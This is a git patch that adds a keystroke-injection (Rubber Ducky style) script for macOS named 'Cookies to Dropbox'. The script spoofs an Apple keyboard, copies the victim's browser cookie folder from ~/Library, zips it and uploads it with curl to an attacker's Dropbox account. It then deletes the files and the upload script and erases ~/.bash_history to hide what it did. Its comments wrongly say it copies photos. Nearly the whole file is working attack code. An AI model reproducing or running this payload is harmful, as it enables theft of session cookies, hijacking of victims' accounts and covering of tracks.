From aabe18d89c1856dfd6a1697b216573d05fc11390 Mon Sep 17 00:00:00 2001 From: Narstybits Date: Wed, 21 Jun 2023 12:45:22 -0500 Subject: [PATCH] Added Cookies to dropbox --- Executions/Cookies to Dropbox.txt | 87 +++++++++++++++++++++++++++++++ 1 file changed, 87 insertions(+) create mode 100644 Executions/Cookies to Dropbox.txt diff --git a/Executions/Cookies to Dropbox.txt b/Executions/Cookies to Dropbox.txt new file mode 100644 index 0000000..63e7dd1 --- /dev/null +++ b/Executions/Cookies to Dropbox.txt @@ -0,0 +1,87 @@ +REM This Script will copy the Photos library folder and send them to your dropbox API +REM Replace '' with the systems actual username +REM Replace '' with your actual Dropbox API key + + +REM Here's the breakdown, we navigate to the finder +REM use the Shift GUI G to open up the "go to folder" menu. +REM Then we search for & open the photos folder. +REM Now we can type "li" to navigate to the library folder that contains the photos +REM we copy it and navigate to a new window to paste the folder +REM Then we zip the folder and rename it "Targets_photos" and send it to the dropbox +REM Using the nohup and & to make sure the code is executed + +REM Requirements Must have at least two windows open +REM Dropbox API key and targets system username + + +REM Author: Narsty +REM Title: Cookies to Dropbox +REM Version 1.0 MacOs +REM Category: Execution + + +ID 05ac:021e Apple:Keyboard +DELAY 500 +GUI SPACE +DELAY 500 +STRING Finder +DELAY 1000 +ENTER +DELAY 2000 +GUI-SHIFT g +DELAY 1000 +STRING /Users//Library +DELAY 500 +ENTER +DELAY 1000 +STRING cook +DELAY 500 +GUI c +DELAY 500 +CTRL RIGHTARROW +DELAY 1000 +GUI v +DELAY 4000 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 1000 +ENTER +DELAY 1000 +CTRL c +DELAY 500 +STRING echo 'cd ~/Desktop && zip -r cookies.zip cookies && curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer " -H "Dropbox-API-Arg: {\"path\": \"/cookies.zip\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @cookies.zip' > upload.sh +DELAY 1000 +ENTER +DELAY 2000 +STRING chmod +x upload.sh +DELAY 500 +ENTER +DELAY 500 +STRING nohup ./upload.sh >/dev/null 2>&1 & +DELAY 500 +ENTER +DELAY 1000 +CTRL C +DELAY 500 +STRING rm -r ~/Desktop/cookies +DELAY 1000 +ENTER +DELAY 500 +STRING rm upload.sh +DELAY 500 +ENTER +DELAY 5000 +STRING rm -r ~/Desktop/cookies.zip +ENTER +DELAY 500 +STRING CLEAR +DELAY 500 +ENTER +DELAY 500 +STRING rm ~/.bash_history +DELAY 500 +GUI w +DELAY 500 +ENTER